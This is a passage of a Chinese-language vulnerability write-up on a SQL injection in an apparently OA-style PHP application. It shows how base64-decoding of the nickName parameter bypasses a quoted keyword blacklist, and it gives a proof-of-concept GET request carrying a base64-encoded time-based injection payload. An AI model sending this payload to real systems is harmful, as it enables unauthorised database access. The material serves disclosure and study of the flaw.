tWvRpYWlQ5MbSpKjC8o13ye3qpxnL1aXDuXYzLcnWAr5nWzrMMDmuZVaM8LQeE9jlv1yDwmDpUKtXF1sTOeDnJVpuMJUpc3sISi4v5Lor748SeJofB0P7VvirwRa+F/tdh8dfBWn+H9Ufw94e12007TrmX4kC6j0aDU7C/02G3u0s4oXaC3Mcluo8sgbHGnf6C+lfED9o+/+GnhbTLn4hWPh74e614O0XT/AA3p2vz2C+J5vDd744vfDfha8stQs3aO31C4aQW+m3B0qxuZ5LVLaJA8fLHjmT53PKo0YSoYOVCdbMFTiq+Kp8KzqRxzeDtgsLhZcWYT2uLi8VNUsHjassNBxo06vdPgVRcIQzV1qixOPp1qdHL3NvD4LF8V4WM8FbGXxmMxX+qeJdDBOOHjOrjcFQjipuVWdP4M8P6BrPinWdO8PeH7CbVNa1a4W007T7cxia7uGVmWKMyvHGGKqx+d1HB5rPt7Wa6uoLOFVNxcXEdrErvHEpmlkWJFeWRkijUuwDPI6xoMs7KoJH3F8MPFXjjwf+1b4Pt9b0zwx4I1rxLc+ErTxhpGk6XoQtXubrSIpla5s5rSeDw3r2oXUsVxq+naUumSWep3E1n5FvzbL5I2qfH64+LOl3N/4c8Qf8LAtLTy4NMb4b6dDfjw/J
|
|||
|
|
<p blockindex=48>接着进入到<code>rockClass.php</code>中</p>
|
|||
|
|
<p blockindex=49><img src="data:image/jpeg;base64,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Gk9l6/ozOooooMgooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigD3iiiiugAooooAKKKKACiiigAooooAK9L+FH/I1t/2BtX/APSU15pXpfwo/wCRrb/sDav/AOkppS2fo/yHHdeq/M+dK5jVP+Ptv9yP/wBBrp65jVP+Ptv9yP8A9BrA0nsvX9GZ1FFFBkFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFOZWXG5WXIBG4EZB6EZAyD2I4ptABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRTmR0xuVl3AMNylcqehGQMg9iOKbQDTW6t6hRRRQAUUUUAFFFFABRRRQAUUUUAFFd58Pvhh8QPirrEmgfDzwnrXi3VYbWa+uLXRrGa8a1srdS893ctErLBbxKMvLIVUetcbf2Vzpt9eadeRmG8sLu4srqE9Yrm1meCeM+6Sxup9xVSjKHs3OLj7WMp0+ZNe0hCShOcL/ABRjJqLkrpS92900JSUudRalyOMZ2d+SUlzRjK3wylH3knZuOqVtSrRXQ6/4V1zwwukPrVk9muu6Tba3phc5+06bd7vIuF9FfacD2rnqJwlTnUpVIyhUpVKlKpCScZ06tKcqdSnOL1jOE4yhOLScZRaaTTKcXHlumuaFOpG6tzU6sI1Kc13jUpzjOElpKMlJXTQUUUVIgooooAKKKKACiiigAoroPDvhfW/FVxfWuh2b3s+m6Xd6zeIhwYtOsfL+03B4ORH5seR1O4Vz9VKEoqDlFxVSHtINppThzzp88b/FH2lOpDmWnPCcb3i0nyvl57Pkc5U1K3uucI05yhfbmjGrTlJbpTg3pJBRRRUiCiiigAooooAKKKKACiiigAooooAKKKKACiugt/C+t3XhzUPFcFk76Fpd9b6de3w+5DeXQjMMRGOriRO/eufqpRlBpTi4txjJKSabjOKnCVn0lCUZRezi01oxtNKMmmlNNxdtJKM5U24vZpThODa2lGUXqmgoooqRBRRRQAUUUUAFFdd4F8CeLPiV4n03wZ4H0W88Q+J9X+0jS9G0+MzXt9JaWs15LDbRLlpZvIgkKRqCzsAqgkisvxF4c17wlrN/4e8TaRf6Frmlzva6hpep20tpe2k8ZKvFPBMqyIwI6EfSqcZRjCUouManP7OTTSn7PlVRQb0k6fPDnSvy88Oa3NG6TTc4ppygoOcU03BVHNU3NLWKm6c1Buyk4T5b8rti0UUVIwooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiig
|
|||
|
|
<p blockindex=50>这个方法只是判断是否进行get传参如果传参成功就进行赋值操作，</p>
|
|||
|
|
<p blockindex=51>之后进行非空判断，调用<code>jmucade</code>方法()将其值返回。该方法中并没有对sql语句进行过滤</p>
|
|||
|
|
<p blockindex=52>我们回到这个类的头部发现，重新定义了<code>\_\_construct()</code>魔术方法</p>
|
|||
|
|
<p blockindex=53><img src=data:image/jpeg;base64,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
|
|||
|
|
<p blockindex=54>当我们创建一个rockClass对象时，会自动调用这个魔术方法。这个魔术方法会过滤大部分sql注入一些敏感字符，如果想要造成sql注入就必须在字符串中不出现这些敏感字符</p>
|
|||
|
|
<pre blockindex=55><code class="hljs language-php"><span class=hljs-string>'select ,
|
|||
|
|
|
|||
|
|
alter table,delete ,drop ,update ,insert into,load\_file,/\*,\*/,union,<script,</script,sleep(,outfile,eval(,user(,phpinfo(),select\*,union%20,sleep%20,select%20,delete%20,drop%20,and%20'</span>);
|
|||
|
|
|
|||
|
|
<span class=hljs-keyword>$this</span>->lvlaraa = explode(<span class=hljs-string>','</span>,<span class=hljs-string>'select,alter,delete,drop,update,/\*,\*/,insert,from,time\_so\_sec,convert,from\_unixtime,unix\_timestamp,curtime,time\_format,union,concat,information\_schema,group\_concat,length,load\_file,outfile,database,system\_user,current\_user,user(),found\_rows,declare,master,exec,(),select\*from,select\*'</span>);
|
|||
|
|
</code></pre>
|
|||
|
|
<p blockindex=56>返回到openmodhetongAction.php中</p>
|
|||
|
|
<p blockindex=57><img src="data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEAkACQAAD/2wBDAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQH/2wBDAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQH/wAARCALQBBcDASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD+ZetrQNZfQdTh1NLWC8aJJozb3BkWJ1niaJwxiZHHyucYYVi0V0HOd74o1bwro+leEr+L4e+HZpNastSupUe41aNYHtNUntVVGhvUeUOI/MJnaRlJ2IQgC188eOdfm8TeJL3WJ7aC0e5S2UW1uZGhhSGCOKNEaVmkICIOXYk+tev/ABB/5Fv4c/8AYI1z/wBP91XgWqf8fkn+7H/6AKwejfqzSXwx+X5Mz6KKKRmFFFFABXZfD/xefAXi/RfGEej6frl1oFyb/T7HVDL9hXUoo3+wXsyQsrStp90Yr2GJj5bzwR+YCoIPG0VFSnGrTnSmm4VISpzScotxnFxklKLUotptXi1Jbpp6mdWlTrUqlGrHnp1YSp1INtKUJpxlFtNO0otp2eqbRd1PUr7WNRv9W1O5lvNR1O8ub+/u5mLzXN5dzPPcTyMeryyyO7H1PGBVKiinGMYRjCEVGMIqMYxSUYxirRjFLRJJJJLRLRGgUUUVQBRU9za3VnKYLu2ntZgiSGG5hkglCSoskTmOVVfZJGyujYw6MrKSpBqCkmpJSi001dNNNNPZprRp90NpxbUk01o0000+zT1QUUUUxBRRRQAUUUUAFFFFABRU8lrdRQwXMttPFb3W8208kMiQ3AibZIYJWUJN5bgo/ls2xvlbB4qCkmnqmmk2nZp2abTWnVNNNbppp6jaa0aabSaumrpq6evRppp7NO60CiiimIKKKKACiiigAooooAKKKKACiiigAoqZ7eeOKK4eCZIJy4gmeN1imMRAkEUhUJIYyQHCMShIDYJFQ0AFFFFABRXf6v8AC3x/oHgbQPiTrfhnUdJ8F+KtQn03w1rWoJHax67cW0UktzJpdvM63d5ZQCJkkv4oGshNiETmQ7aPHfwt8ffDT+wH8beGdR0K28VaPb6/4Z1CdEm0zXtIuVVo73StStnmsrxE3qlxHDO01rIwjuY4nZVNShOHPzwlHknTpz5ouPJUq03WpwldK06lJOpCL1lBOSTimyVKMuXllGXNGc42afNCnNU6ko2esYVGqc5K6jNqMmpNI4CiiipKCiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigD3iuv8AAsdvL4jtVubS0vYRb37m3vbeO6t3aKzmlQvDKGRtropGRx2wea5Ctvw9q40LV7XUmt1u44TIk1uXMZkgnjaGZUcco/lu2xiCA2MjFbvZ23s7DWjXqjr9c1L4hWOnLe674A8AnSNKCxwtcaRoN6llBd3aLstraPVJ5Y1muZ1aRIIcGRzLIvDMPCvi/bWlr471OKys7SwtzbabKtrY20VpaxNNYwSOIoIVSONS7E4Ud+STzXql74K8K6BJH4q1LWGu/C16pvdB0eElNd1SYSur6bcggR2sNlOjQ3d8GZXVSYl3kA+GeOdem8S+JL3V5reG1a4S3RbeAu0cUUMCRRIGkJdmWNFDMcbmBYKoO0YGk/hXr+jORooooMgooooA98+BvgTwP4wtfitq3jz+3m0zwD8O5/F9rD4fura1vLm9t/EGh6cLZ3u7a5iaKa31CdOQnlyMk25hH5b+gTfCD4a6/wCJP2cNX8Jp4o07wP8AGrxIfDur6HrOpWV5rujXWk+L7bw3rH2TWLaxgt5or2C4S7spHsA1szeXIkpU5yf2atc0DQdH+P1x4jtLLVNPn+Dt1bPol3qX9lSa0H8W+GGksLK6Q+el60KySwvbRzSxGMy+U6IynnPFfxzhuNQ+E4+HfhNfA/h74N3bar4U0q+1mbxPfT63c6/H4k1HUtX1WWz0z7X9q1CGJEt4rK3S3tUEKs/DD81xkeI8ZxNmlHLauZU8Ph6vsnXli6FPKaGGxHCldworDSrfWZYyWeVsuxUMRRwlRUoUq6eIpp1aNb9Hwb4ewvCmDrZhTy2eKxNPEyp0VhK1TN6+Kw/EGWuFSOKjR+r08JTyqGZUKtGvi6XtfaxSoVp+xq0JrP4W+GZ9F/aZv3fU/P8AhJcaZF4V23UQR1u/iEvhiX+1V+zE3h/s0koYmtcXP70gr+7r6V1fwZ8JPHviL9nb4feKrXxZD4s8b/ArwHpui65oV5ptpo2hXczeIxp1xqenT2c9zrL3F5HJ9s8u5s/KtzAI3kk8zb89+OPjz4W1rwz4+0XwP8MV8D6l8VtV03VPiDq03iu88RRXo07VX19dP0DT7jTLBdD0+fW3F5LHJcalOURLdZwgJPWaT+074Q0+7+HXiS5+EP8AaHjv4V+BNG8IeEfET+NbqCxW90ePURb6xq2hxaIIdRihuNRkubSxW7t5IW3xz313H5KweTmWA4yx2HWMjgc5pY2nWxv9n0KOaZTRxmCqS4Uy3AYevVqxzL6rLB1eIaOLxdajTxFadSjUdSvh5Rqzw79vAZhwXgsbXwsMdks8HiMND6ziMRlWbVsBiacuMf7QeD+r/wBmvFfWaPD0IUYVHhoUqdXlpYfEqpThiIzfs8+LfFtvovx4+GFzrU83g/Tvgh8YdVGgtFavZLrdpY2lsNRjZoDcLOo3hCJ9oDEhc818seEbzwxYa9Z3fjDStW1nQYfNa60/Q9Vh0XUpZPKYWz2+oz2V/HB5Nx5cr5tZC6KUBQtuHafCv4oD4e+K9c1zVdCXxRpHi3wz4n8I+KtF/tCTSJ9Q0XxXbmHUlstUigu20+9SRYpre5+y3KoyFWhcNxNN4k+C7+LrPUYPhf4si8GR6XLb3vhh/iVFLq11q7PMYtRh8Sf8Iai21rGjQo2nnR5i5idvta+ZtT6yjgcRgM24hnHJ8VUw2c4HBYieKymrl2EdXH0MPiqOMg5Tx+BxVPMK8pUnRxSgqbcqcqmMpunLk+SxGOweYZRktFZvhqVXJ83zKnQwWcUswxfssrxlXK3gpKNPAY/CTwOGVLEyxWEc/aWjV9lhK7qxVT0H9qqxab4z29tBq3iDVotU8H/Di5sbjxTqFtqeq2sGt+FtJvobGa8s7HTbeSCye9aKIpaREoC0hkkZ5G2Pib4D/Z+8Eap47+GZv/HGmePPA
|
|||
|
|
<p blockindex=58>发现这个<code>nickName</code>参数经过get传参后会进行dase64ecode方法进行base64解密，</p>
|
|||
|
|
<p blockindex=59>那么如果我们将<code>nickNname</code>传入恶意的sql语句进行base64编码，就会绕过<code>rockClass.php</code>中的<code>\_\_construct</code>方法中的sql语句的过滤，</p>
|
|||
|
|
<p blockindex=60>之后进行base64解密又拼接到sql语句造成sql注入的形成</p>
|
|||
|
|
<h2 blockindex=61>POC</h2>
|
|||
|
|
<pre blockindex=62><code class="hljs language-php">GET /index.php?m=openmodhetong|openapi&d=task&a=data&ajaxbool=<span class=hljs-number>0</span>&nickName=MScgYW5kIHNsZWVwKDUpIw== HTTP/<span class=hljs-number>1.1</span>
|
|||
|
|
|
|||
|
|
Host:
|
|||
|
|
|
|||
|
|
User-Agent: Mozilla/<span class=hljs-number>5.0</span> (Windows NT <span class=hljs-number>10.0</span>; Win64; x64; rv:<span class=hljs-number>99.0</span>) Gecko/<span class=hljs-number>20100101</span> Firefox/<span class=hljs-number>99.0</span>
|
|||
|
|
|
|||
|
|
Accept-Encoding: gzip, deflate
|
|||
|
|
|
|||
|
|
Accept: \*/\*
|
|||
|
|
|
|||
|
|
Connection: keep-alive
|
|||
|
|
</code></pre>
|
|||
|
|
<h2 blockindex=63>漏洞复现</h2>
|
|||
|
|
<p blockindex=64><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAACloAAAJoCAYAAAAEKq4JAAAAAXNSR0IArs4c6QAAAHhlWElmTU0AKgAAAAgABAEaAAUAAAABAAAAPgEbAAUAAAABAAAARgEoAAMAAAABAAIAAIdpAAQAAAABAAAATgAAAAAAAACQAAAAAQAAAJAAAAABAAOgAQADAAAAAQABAACgAgAEAAAAAQAAClqgAwAEAAAAAQAAAmgAAAAAH128dAAAAAlwSFlzAAAWJQAAFiUBSVIk8AAAQABJREFUeAHsvfeTX8lxJ5jtvYH3AzcGGO84M3RaGolWpERqJV2EgjpdxGml243d3/dWF7H/w90pbnV7G6eV2Q3qSIoSrUiRYzmW4zAG3tsGGmi0932fT9bLevm+aIBAo+HzAf0qKyur6r18mVkuv1V1b7zx5lxd3ZyIzOFfndQDnpurQ1xRIvUIZ/FHPNKLFKYqrg60zD3/hbQ55PLFgXi2nuUA4H/kj/rJweB/yN/l6V8d9KexoVE6uzqks71T2trbpQFx0zPqosLQrVnIlddZqvqF+sccJn/IUdF/5J5Fpl+p/6yFcpyuqB98CP6H/IX+hf0xo4gw7G+0P7dk+ws7Nj07K9NTUzI0PCQjwyMyOjaq8ly2+k7QFYz+f4x/Yvxn/XLqST1uF+o/U6z/jbDS/0ZSjL8vY/yhBqfmFvYn7E/Yn7A/ySyE/Y32J9rf6H9E/yvWX2L9Ca0h/2OsEetvMf6K8WeMv2P99fLWX/MkAybzw/9BW9LMkioQ8y8x/xLzLzH/EvMv5EDMP92580/1UjdbOGhx8J0GXkktcKdXABd9GCKV6fqXopixsUaWCFwk138pyrKJYZ50s+KAhwOmXlF/8L8QEAZ5kZHCEfJnCgMZqZemxkZpa22Vro5O6V3SK92dPdIOJ8vGxoZChkCOf7x4n9OBgOmfMln1sI66V6hf0v9EQ22u5X9SfRLX6j/Km6UXNi+trYBSwYqJ+iHCwf+k3iF/qiBgQ+gfrEMyE2AG+x9hf6gdYX+j/blp21/MFjQ2NGj/o7ujS7p7urX/0YL+SEND0Q9QtbYeCAU6+v80dKn9U+tfDKdi/BPjv6IBjPFvjH8LA8Gg1v7H/Au4kgahakfJoyIa808x/1YMIwpbGv0P8CP6X4U0RP8z+t9sUaP/zaGH9jHADW1OY/wR448Yf1At0vyjAqoi0f8uDIWyhB0qNRhklPKHqdH/VnbE+CPGHzH+oJ0ouMAgxh8x/orxlyqF9i2oEdqiFs1q9L/Zf4jxR4w/7qzxR90777yDHS1hDor3ZsBlU43SOEAn4ONVpKsrQDIchS1Bqjau1vlmd9yaGpZhRmYOu+LVoyIaGg5mSMU0pVFcKjDqD/6H/F2of3X19dLS3CqtrS1wrmyTDjhbpiv0j/Ym7A+kAXY07G+0P9H+au8l9S1oJNm/iP5H9L+i/7lo/e9Z7G45OTkpQ0PY3XJ0RCbHJ6P9ifY3+h/gQLS/0f6y26FzG9H/iP5X9D+j/x3jjxh/xPhj0cYfbFbTFfOfMf8Z878x/w1rEOPvGH/H+DvmH3T